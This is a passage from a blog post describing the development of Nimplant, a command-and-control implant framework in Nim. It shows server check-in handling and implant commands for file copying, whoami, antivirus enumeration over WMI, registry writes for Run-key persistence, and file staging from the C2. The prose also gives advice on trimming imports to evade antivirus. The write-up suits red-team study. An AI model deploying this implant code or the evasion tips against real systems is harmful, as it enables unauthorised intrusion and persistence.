</span></span><span style="display:flex;"><span>        self.pid = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.sleepTimeSeconds = sleepTimeSeconds
</span></span><span style="display:flex;"><span>        self.killTimeHours = killTimeHours
</span></span><span style="display:flex;"><span>        self.firstCheckin = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.lastCheckin = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.task = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.hostingFile = <span style="color:#6ab825;font-weight:bold">None</span>
</span></span><span style="display:flex;"><span>        self.cryptKey = <span style="color:#999;font-style:italic"># secret sauce omitted 👀</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Populate the Nimplant object with information based on first check-in</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">def</span> <span style="color:#447fcf">activate</span>(self, ipAddrExt, ipAddrInt, username, hostname, osBuild, pid):
</span></span><span style="display:flex;"><span>        self.active = <span style="color:#6ab825;font-weight:bold">True</span>
</span></span><span style="display:flex;"><span>        self.ipAddrExt = ipAddrExt
</span></span><span style="display:flex;"><span>        self.ipAddrInt = ipAddrInt
</span></span><span style="display:flex;"><span>        self.username = username
</span></span><span style="display:flex;"><span>        self.hostname = hostname
</span></span><span style="display:flex;"><span>        self.osBuild = osBuild
</span></span><span style="display:flex;"><span>        self.pid = pid
</span></span><span style="display:flex;"><span>        self.firstCheckin = timestamp()
</span></span><span style="display:flex;"><span>        self.lastCheckin = timestamp()
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># &#39;nimplantPrint&#39; is a custom function to properly direct output to console or a Nimplant&#39;s log</span>
</span></span><span style="display:flex;"><span>        nimplantPrint(<span style="color:#ed9d13">f</span><span style="color:#ed9d13">&#34;NimPlant #</span><span style="color:#ed9d13">{</span>self.id<span style="color:#ed9d13">}</span><span style="color:#ed9d13"> (</span><span style="color:#ed9d13">{</span>self.guid<span style="color:#ed9d13">}</span><span style="color:#ed9d13">) checked in from </span><span style="color:#ed9d13">{</span>username<span style="color:#ed9d13">}</span><span style="color:#ed9d13">@</span><span style="color:#ed9d13">{</span>hostname<span style="color:#ed9d13">}</span><span style="color:#ed9d13"> at &#39;</span><span style="color:#ed9d13">{</span>ipAddrExt<span style="color:#ed9d13">}</span><span style="color:#ed9d13">&#39;!&#34;</span>)
</span></span><span style="display:flex;"><span>        nimplantPrint(<span style="color:#ed9d13">f</span><span style="color:#ed9d13">&#34;OS version is </span><span style="color:#ed9d13">{</span>osBuild<span style="color:#ed9d13">}</span><span style="color:#ed9d13">.&#34;</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Process a &#39;regular&#39; Nimplant check-in</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">def</span> <span style="color:#447fcf">checkIn</span>(self):
</span></span><span style="display:flex;"><span>        self.lastCheckin = timestamp()
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">if</span> self.task <span style="color:#6ab825;font-weight:bold">is</span> <span style="color:#6ab825;font-weight:bold">not</span> <span style="color:#6ab825;font-weight:bold">None</span>:
</span></span><span style="display:flex;"><span>            <span style="color:#6ab825;font-weight:bold">if</span> self.task == <span style="color:#ed9d13">&#34;kill&#34;</span>:
</span></span><span style="display:flex;"><span>                self.active = <span style="color:#6ab825;font-weight:bold">False</span>
</span></span><span style="display:flex;"><span>                nimplantPrint(<span style="color:#ed9d13">f</span><span style="color:#ed9d13">&#34;Nimplant #</span><span style="color:#ed9d13">{</span>self.id<span style="color:#ed9d13">}</span><span style="color:#ed9d13"> killed.&#34;</span>, self.guid)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Process the result for a certain Nimplant</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">def</span> <span style="color:#447fcf">setResult</span>(self, result):
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">if</span> result == <span style="color:#ed9d13">&#34;NIMPLANT_KILL_TIMER_EXPIRED&#34;</span>:
</span></span><span style="display:flex;"><span>            self.active = <span style="color:#6ab825;font-weight:bold">False</span>
</span></span><span style="display:flex;"><span>            nimplantPrint(<span style="color:#ed9d13">&#34;Nimplant announced self-destruct (kill timer expired). RIP.&#34;</span>, self.guid)
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>            nimplantPrint(result, self.guid)
</span></span></code></pre></div><p>As you can see, most information about a Nimplant is populated through the <code>activate()</code> function which is triggered on first check-in. There are some checks in the various functions, which for example take care of killing a Nimplant when either the <code>exit</code> or <code>kill</code> commands are provided or the Nimplant&rsquo;s self-destruct timer expired. To keep track of the various Nimplants that have checked in as well as their respective statuses, there is also a <code>NimplantList</code> class available.</p>
<p>Information from both of these classes is made accessible by an internal API. This API supports both the command-line interface (CLI) and the graphical user interface (GUI), discussed below. Because I focused only on the CLI when I started developing, it was quite a hassle to modify the codebase to support a generic API at a later point. If you&rsquo;re starting a project like this, don&rsquo;t make the mistake that I made: <strong>focus on writing modular and extensible code right from the start!</strong> It may take some more effort, but it will pay out in the long run.</p>
<p>It goes without saying that the server handles quite a bit more functionality, such as parsing commands, file uploads, cryptographic operations, and logging all executed commands and the resulting output. It is beyond the scope of this blog post to discuss all of that functionality here.</p>
<h3 id="the-web-interface">The Web Interface</h3>
<p><em>Before I start bragging about how cool the web interface of Nimplant is, I have to give credit where credit&rsquo;s due: all of the front-end work was done by my colleague <a href="https://github.com/yamakadi">Kadir</a>.</em></p>
<p>While a CLI to manage implants is cool, a proper C2 needs an interface that supports multiple operators working on multiple implants at the same time. Most frameworks expose a web interface for this purpose, which is exactly what Nimplant does. As mentioned above, a second Flask server is initialized to expose the Nimplant API as well as the web interface.</p>
<p><img src="/images/nimplant-web.png" alt="Nimplant Web Interface"></p>
<p>The web interface is built with the <a href="https://vuejs.org/">Vue.js</a> framework, supported by <a href="https://tailwindcss.com/">TailwindCSS</a> and some pre-built components from <a href="https://tailwindui.com/">TailwindUI</a>. The interface is completely responsive, and could therefore even be used on mobile devices (for those on-the-go assignments). The front-end communicates with the Nimplant API to retrieve data on the current server configuration and Nimplant status. Each Nimplant has its own console, which is also exposed through the API and shown in the web interface. Of course, operators can submit commands to be executed. They also have the option to see the command history for a Nimplant as well as commands executed by other operators.</p>
<p><img src="/images/nimplant-webconsole.png" alt="Nimplant Web Console"></p>
<p>As with other C2 frameworks, a high level of care should be taken when exposing this type of interface to the internet. While the C2 listener should be reachable over the internet (preferably behind a redirector to hide the actual infrastructure), the Nimplant web interface should be considered a management interface. As such, it should only be available to a select group of operators, for example from a dedicated VPN.</p>
<h3 id="the-implant">The Implant</h3>
<p>While the implant-part of Nimplant is the meat on the bone for the solution, I tried to keep it as &lsquo;slim&rsquo; as possible. Altogether, the implant part is under 1000 lines of Nim code and compiles to a binary of approximately 200KB. Nevertheless, it contains some cool features that operators can use for their &ldquo;stage-1&rdquo; shenanigans. A couple of neat features are highlighted below.</p>
<p><strong>File operations</strong></p>
<p>File operations consist of a variety of commands, based on their Linux counterparts. The commands related to file operations in Nimplant include <code>cat</code>, <code>cd</code>, <code>cp</code>, <code>ls</code>, <code>mkdir</code>, <code>mv</code>, <code>pwd</code>, and <code>rm</code>. The implementation of these actually isn&rsquo;t all too interesting, since most functionality is wrapped by Nim&rsquo;s <a href="https://nim-lang.org/docs/os.html">os</a> library.</p>
<p>The biggest challenge I encountered for (some) of these commands was argument parsing. Take for instance the <code>cp</code> command, which copies a file from one place to another. In principle this is a straight-forward task. However, the command takes a source and destination parameter, the source can be both a file and a folder, and the destination can be both a partial destination (parent folder), or the new file/folder name. The function then becomes something like the following.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">os</span> <span style="color:#6ab825;font-weight:bold">import</span> copyDir, copyFile, copyFileToDir, dirExists, splitPath, <span style="color:#a61717;background-color:#e3d2d2">`</span>/<span style="color:#a61717;background-color:#e3d2d2">`</span>
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">strutils</span> <span style="color:#6ab825;font-weight:bold">import</span> join
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Copy files or directories</span>
</span></span><span style="display:flex;"><span>proc cp*(args : varargs[string]) : string =
</span></span><span style="display:flex;"><span>    var
</span></span><span style="display:flex;"><span>        source : string
</span></span><span style="display:flex;"><span>        destination : string
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Parse expected number of arguments (2 or more)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">if</span> args.len &gt;= <span style="color:#3677a9">2</span>:
</span></span><span style="display:flex;"><span>        source = args[<span style="color:#3677a9">0</span>]
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># If &gt;2 arguments are given, join them as the second argument</span>
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># This happens for e.g. an unquoted path with spaces</span>
</span></span><span style="display:flex;"><span>        destination = args[<span style="color:#3677a9">1</span> .. ^<span style="color:#3677a9">1</span>].join(<span style="color:#ed9d13">&#34; &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># Error out if too few arguments are provided</span>
</span></span><span style="display:flex;"><span>        result = <span style="color:#ed9d13">&#34;Invalid number of arguments received. Usage: &#39;cp [source] [destination]&#39;.&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#999;font-style:italic"># Copying a directory</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">if</span> dirExists(source):
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">if</span> dirExists(destination):
</span></span><span style="display:flex;"><span>						<span style="color:#999;font-style:italic"># Copy the directory into the existing directory as its current name</span>
</span></span><span style="display:flex;"><span>            copyDir(source, destination/splitPath(source).tail)
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>						<span style="color:#999;font-style:italic"># Copy the file as the provided directory name</span>
</span></span><span style="display:flex;"><span>            copyDir(source, destination)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#999;font-style:italic"># Copying a file</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">elif</span> dirExists(destination):
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># Copy the file into the existing directory as its current name</span>
</span></span><span style="display:flex;"><span>        copyFileToDir(source, destination)
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>				<span style="color:#999;font-style:italic"># Copy the file as the provided filename</span>
</span></span><span style="display:flex;"><span>        copyFile(source, destination)
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Setting &#39;result&#39; will make the function return with that result in Nim</span>
</span></span><span style="display:flex;"><span>    result = <span style="color:#ed9d13">&#34;Copied &#39;&#34;</span> &amp; source &amp; <span style="color:#ed9d13">&#34;&#39; to &#39;&#34;</span> &amp; destination &amp; <span style="color:#ed9d13">&#34;&#39;.&#34;</span>
</span></span></code></pre></div><p>Note the use of <a href="https://nim-by-example.github.io/varargs/">varargs</a> in the function parameters. This type allows us to receive one to many commands from the C2 server inside of an array, This allows us to parse commands and deal with possible exceptions inside the function itself.</p>
<p><strong>&lsquo;Whoami&rsquo; command</strong></p>
<p>While not too interesting on itself, the <code>whoami</code> command provides a nice use case of using benign Windows APIs to achieve your goals. Nimplant&rsquo;s implementation, quite simply, uses the <a href="https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-getusernamea">GetUserName</a> API to retrieve the user&rsquo;s name.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">winim</span>/lean <span style="color:#6ab825;font-weight:bold">import</span> <span style="color:#447fcf;text-decoration:underline">GetUserName</span>, <span style="color:#447fcf;text-decoration:underline">LPWSTR</span>, <span style="color:#447fcf;text-decoration:underline">DWORD</span>, <span style="color:#447fcf;text-decoration:underline">TCHAR</span>
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">winim</span>/utils <span style="color:#6ab825;font-weight:bold">import</span> <span style="color:#a61717;background-color:#e3d2d2">`</span>&amp;<span style="color:#a61717;background-color:#e3d2d2">`</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get the current username via the GetUserName API</span>
</span></span><span style="display:flex;"><span>proc whoami*() : string =
</span></span><span style="display:flex;"><span>    var 
</span></span><span style="display:flex;"><span>        buf : array[<span style="color:#3677a9">257</span>, TCHAR] <span style="color:#999;font-style:italic"># 257 is UNLEN+1 (max username length plus null terminator)</span>
</span></span><span style="display:flex;"><span>        lpBuf :  LPWSTR = addr buf[<span style="color:#3677a9">0</span>]
</span></span><span style="display:flex;"><span>        pcbBuf : DWORD = int32(<span style="color:#24909d">len</span>(buf))
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># The actual API call</span>
</span></span><span style="display:flex;"><span>    discard GetUserName(lpBuf, &amp;pcbBuf)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Read the buffer into the function result</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">for</span> character <span style="color:#6ab825;font-weight:bold">in</span> buf:
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">if</span> character == <span style="color:#3677a9">0</span>: <span style="color:#6ab825;font-weight:bold">break</span>
</span></span><span style="display:flex;"><span>        result.add(char(character))
</span></span></code></pre></div><p><a href="https://github.com/khchen/winim">Winim</a> is used to ease the pain of manually defining the right structures and importing the right functions from the Windows API. However, there is one important note to make here regarding OPSEC: Importing full modules from libraries like <code>winim</code> makes it so that your binary becomes bloated with unnecessary function import statements - including imports that can be considered malicious by antivirus. I found that specifically selecting your imports (as shown above) helps reduce the fingerprint of your binary, while increasing overall evasion.</p>
<p><strong>&lsquo;GetAV&rsquo; command</strong></p>
<p>The <code>GetAV</code> command is an example of a convenience command I added for operators to more quickly gain a lay of the land once they get a callback from a machine. It&rsquo;s almost equivalent to byt3bl33der&rsquo;s <a href="https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/wmiquery_bin.nim">wmiquery_bin</a> example from OffensiveNim, except it parses the output a bit different. It also serves as a nice example of how easy it is to &lsquo;plug in&rsquo; new commands once you have the base structure of parsing input and output down.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">import</span> <span style="color:#447fcf;text-decoration:underline">winim</span>/com
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">strutils</span> <span style="color:#6ab825;font-weight:bold">import</span> strip
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Get antivirus products on the machine via WMI</span>
</span></span><span style="display:flex;"><span>proc getAv*() : string =
</span></span><span style="display:flex;"><span>    let wmisec = GetObject(<span style="color:#ed9d13">r</span><span style="color:#ed9d13">&#34;winmgmts:{impersonationLevel=impersonate}!</span><span style="color:#ed9d13">\\</span><span style="color:#ed9d13">.\root\securitycenter2&#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">for</span> avprod <span style="color:#6ab825;font-weight:bold">in</span> wmisec.execQuery(<span style="color:#ed9d13">&#34;SELECT displayName FROM AntiVirusProduct</span><span style="color:#ed9d13">\n</span><span style="color:#ed9d13">&#34;</span>):
</span></span><span style="display:flex;"><span>        result.add(<span style="color:#a61717;background-color:#e3d2d2">$</span>avprod.displayName &amp; <span style="color:#ed9d13">&#34;</span><span style="color:#ed9d13">\n</span><span style="color:#ed9d13">&#34;</span>)
</span></span><span style="display:flex;"><span>    result = result.strip(trailing = true)
</span></span></code></pre></div><p>Unfortunately, in this instance we have to import the entire <code>winim/com</code> library, since it exports some types that cannot be imported individually (at least, I didn&rsquo;t find out how).</p>
<p><strong>&lsquo;Reg&rsquo; command</strong></p>
<p>The <code>reg</code> command is one of the more complex commands that&rsquo;s included in Nimplant. It builds upon Nim&rsquo;s <a href="https://nim-lang.org/docs/registry.html">registry</a> library to perform registry operations. This library is fairly straight-forward, as it only allows us to get or set variables in the <code>HKCU</code> or <code>HKLM</code> registries, which is fine for the purposes of Nimplant. The relative complexity inside this command comes from the fact that one command supports both reading and writing registry values, so the arguments need to be properly parsed to implement this functionality.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">import</span> <span style="color:#447fcf;text-decoration:underline">registry</span>
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">strutils</span> <span style="color:#6ab825;font-weight:bold">import</span> join, split, startsWith
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Query or modify the Windows registry</span>
</span></span><span style="display:flex;"><span>proc reg*(args : varargs[string]) : string =
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    var
</span></span><span style="display:flex;"><span>        command : string
</span></span><span style="display:flex;"><span>        path : string
</span></span><span style="display:flex;"><span>        key : string
</span></span><span style="display:flex;"><span>        value : string
</span></span><span style="display:flex;"><span>        handleStr : string
</span></span><span style="display:flex;"><span>        regPath : string
</span></span><span style="display:flex;"><span>        handle : registry.HKEY
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#999;font-style:italic"># Parse arguments</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">case</span> args.len:
</span></span><span style="display:flex;"><span>        of <span style="color:#3677a9">2</span>:
</span></span><span style="display:flex;"><span>            command = args[<span style="color:#3677a9">0</span>]
</span></span><span style="display:flex;"><span>            path = args[<span style="color:#3677a9">1</span>]
</span></span><span style="display:flex;"><span>        of <span style="color:#3677a9">3</span>:
</span></span><span style="display:flex;"><span>            command = args[<span style="color:#3677a9">0</span>]
</span></span><span style="display:flex;"><span>            path = args[<span style="color:#3677a9">1</span>]
</span></span><span style="display:flex;"><span>            key = args[<span style="color:#3677a9">2</span>]
</span></span><span style="display:flex;"><span>        of <span style="color:#3677a9">4</span>:
</span></span><span style="display:flex;"><span>            command = args[<span style="color:#3677a9">0</span>]
</span></span><span style="display:flex;"><span>            path = args[<span style="color:#3677a9">1</span>]
</span></span><span style="display:flex;"><span>            key = args[<span style="color:#3677a9">2</span>]
</span></span><span style="display:flex;"><span>            value = args[<span style="color:#3677a9">3</span> .. ^<span style="color:#3677a9">1</span>].join(<span style="color:#ed9d13">&#34; &#34;</span>)
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>            result = <span style="color:#ed9d13">&#34;Invalid number of arguments received. Usage: &#39;reg [query|add] [path] &lt;optional: key&gt; &lt;optional: value&gt;&#39;.&#34;</span>
</span></span><span style="display:flex;"><span>            <span style="color:#6ab825;font-weight:bold">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#999;font-style:italic"># Parse the registry path</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">try</span>:
</span></span><span style="display:flex;"><span>        handleStr = path.split(<span style="color:#ed9d13">&#34;</span><span style="color:#ed9d13">\\</span><span style="color:#ed9d13">&#34;</span>)[<span style="color:#3677a9">0</span>]
</span></span><span style="display:flex;"><span>        regPath = path.split(<span style="color:#ed9d13">&#34;</span><span style="color:#ed9d13">\\</span><span style="color:#ed9d13">&#34;</span>, <span style="color:#3677a9">1</span>)[<span style="color:#3677a9">1</span>]
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">except</span>:
</span></span><span style="display:flex;"><span>        result = <span style="color:#ed9d13">&#34;Unable to parse registry path. Please use format: &#39;HKCU</span><span style="color:#ed9d13">\\</span><span style="color:#ed9d13">Software</span><span style="color:#ed9d13">\\</span><span style="color:#ed9d13">Microsoft</span><span style="color:#ed9d13">\\</span><span style="color:#ed9d13">Windows</span><span style="color:#ed9d13">\\</span><span style="color:#ed9d13">CurrentVersion</span><span style="color:#ed9d13">\\</span><span style="color:#ed9d13">Run&#39;.&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#999;font-style:italic"># Identify the correct hive from the parsed path</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">if</span> handleStr.startsWith(<span style="color:#ed9d13">&#34;HKCu&#34;</span>):
</span></span><span style="display:flex;"><span>        handle = registry.HKEY_CURRENT_USER
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">elif</span> handleStr.startsWith(<span style="color:#ed9d13">&#34;HKLM&#34;</span>):
</span></span><span style="display:flex;"><span>        handle = registry.HKEY_LOCAL_MACHINE
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        result = <span style="color:#ed9d13">&#34;Invalid registry. Only &#39;HKCU&#39; and &#39;HKLM&#39; are supported at this time.&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">return</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#999;font-style:italic"># Query an existing registry value</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">if</span> command == <span style="color:#ed9d13">&#34;query&#34;</span>:
</span></span><span style="display:flex;"><span>        result = getUnicodeValue(regPath, key, handle)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#999;font-style:italic"># Add a value to the registry</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">elif</span> command == <span style="color:#ed9d13">&#34;add&#34;</span>:
</span></span><span style="display:flex;"><span>        setUnicodeValue(regPath, key, value, handle)
</span></span><span style="display:flex;"><span>        result = <span style="color:#ed9d13">&#34;Successfully set registry value.&#34;</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        result = <span style="color:#ed9d13">&#34;Unknown reg command. Please use &#39;reg query&#39; or &#39;reg add&#39; followed by the path (and value when adding a key).&#34;</span>
</span></span></code></pre></div><p>Example usage of this command for &ldquo;persistence&rdquo; (<code>calc.exe</code> ftw) is shown below.</p>
<p><img src="/images/nimplant-registry.png" alt="Nimplant &lsquo;reg&rsquo; command"></p>
<p><strong>&lsquo;Upload&rsquo; command</strong></p>
<p>The <code>upload</code> command is interesting because it requires a modification in server behavior. In essence, it is almost the same as the <code>wget</code> command, which downloads a file from a remote source. However, in case of <code>upload</code>, a file is temporarily hosted on the C2 for the implant to download (it is called &ldquo;upload&rdquo; because downloading a file on the implant is &lsquo;uploading&rsquo; it from the operator&rsquo;s perspective).</p>
<p>Because compiling the native web library with SSL support is wholly broken in Nim, I resorted to using the excellent <a href="https://github.com/treeform/puppy">Puppy</a> library for all web interactions, including C2 traffic and web-based commands like <code>curl</code> or <code>wget</code>. This library which uses the <code>WinHTTP</code> API under the hood, so it should blend in quite well. It also supports transparent Gzip deflation, which is utilized to compress the file in-transit.</p>
<p>The command is executed in two phases. First, when the <code>upload</code> command is received by the C2 server, it parses the file to upload, GZip-compresses it, and makes it available for download after providing it with a unique ID. This ID is then passed on to the implant along with the <code>upload</code> command, allowing it to find and download the file. Because WinHTTP is used for the transfer, it looks like a regular file download from a networking perspective.</p>
<p>Because of this, the Nim code is relatively straight-forward. The bulk of it is again parsing parameters and determining the destination on disk, this time with the addition of parsing some  settings from the listener configuration.</p>
<div class="highlight"><pre tabindex="0" style="color:#d0d0d0;background-color:#202020;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">import</span> <span style="color:#447fcf;text-decoration:underline">puppy</span>
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">strutils</span> <span style="color:#6ab825;font-weight:bold">import</span> join, split
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">os</span> <span style="color:#6ab825;font-weight:bold">import</span> getcurrentdir, <span style="color:#a61717;background-color:#e3d2d2">`</span>/<span style="color:#a61717;background-color:#e3d2d2">`</span>
</span></span><span style="display:flex;"><span><span style="color:#6ab825;font-weight:bold">from</span> <span style="color:#447fcf;text-decoration:underline">..</span>/util/webClient <span style="color:#6ab825;font-weight:bold">import</span> <span style="color:#447fcf;text-decoration:underline">Listener</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># Upload a file from the C2 server to Nimplant</span>
</span></span><span style="display:flex;"><span><span style="color:#999;font-style:italic"># From Nimplant&#39;s perspective this is similar to wget, but calling to the C2 server instead</span>
</span></span><span style="display:flex;"><span>proc upload*(li : Listener, args : varargs[string]) : string =
</span></span><span style="display:flex;"><span>    var 
</span></span><span style="display:flex;"><span>        fileId : string
</span></span><span style="display:flex;"><span>        fileName : string
</span></span><span style="display:flex;"><span>        filePath : string
</span></span><span style="display:flex;"><span>        url : string
</span></span><span style="display:flex;"><span>        res : string
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># The command is passed as &#39;upload [localfile] &lt;remotedestination&gt;&#39;</span>
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># It is however transmitted as &#39;upload [file-identifier] [originalfilename] &lt;remotedestination&gt;&#39;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">if</span> args.len == <span style="color:#3677a9">2</span> <span style="color:#6ab825;font-weight:bold">and</span> args[<span style="color:#3677a9">0</span>] != <span style="color:#ed9d13">&#34;&#34;</span> <span style="color:#6ab825;font-weight:bold">and</span> args[<span style="color:#3677a9">1</span>] != <span style="color:#ed9d13">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>        fileId = args[<span style="color:#3677a9">0</span>]
</span></span><span style="display:flex;"><span>        fileName = args[<span style="color:#3677a9">1</span>]
</span></span><span style="display:flex;"><span>        filePath = getCurrentDir()/fileName
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">elif</span> args.len &gt;= <span style="color:#3677a9">3</span>:
</span></span><span style="display:flex;"><span>        fileId = args[<span style="color:#3677a9">0</span>]
</span></span><span style="display:flex;"><span>        fileName = args[<span style="color:#3677a9">1</span>]
</span></span><span style="display:flex;"><span>        filePath = args[<span style="color:#3677a9">2</span> .. ^<span style="color:#3677a9">1</span>].join(<span style="color:#ed9d13">&#34; &#34;</span>)
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#999;font-style:italic"># Handling of the second argument (filename) is done by the python server</span>
</span></span><span style="display:flex;"><span>        result = <span style="color:#ed9d13">&#34;Invalid number of arguments received. Usage: &#39;upload [local file] [optional: remote file]&#39;.&#34;</span>
</span></span><span style="display:flex;"><span>        <span style="color:#6ab825;font-weight:bold">return</span>
</span></span><span style="display:flex;"><span>    
</span></span><span style="display:flex;"><span>		<span style="color:#999;font-style:italic"># Parse the staging server from the configuration file</span>
</span></span><span style="display:flex;"><span>    url = li.listenerType &amp; <span style="color:#ed9d13">&#34;://&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">if</span> li.listenerHost != <span style="color:#ed9d13">&#34;&#34;</span>:
</span></span><span style="display:flex;"><span>        url = url &amp; li.listenerHost
</span></span><span style="display:flex;"><span>    <span style="color:#6ab825;font-weight:bold">else</span>:
</span></span><span style="display:flex;"><span>        url = url &amp; li.listenerIp &amp; <span style="color:#ed9d13">&#34;:&#34;</span> &amp; li.listenerPort
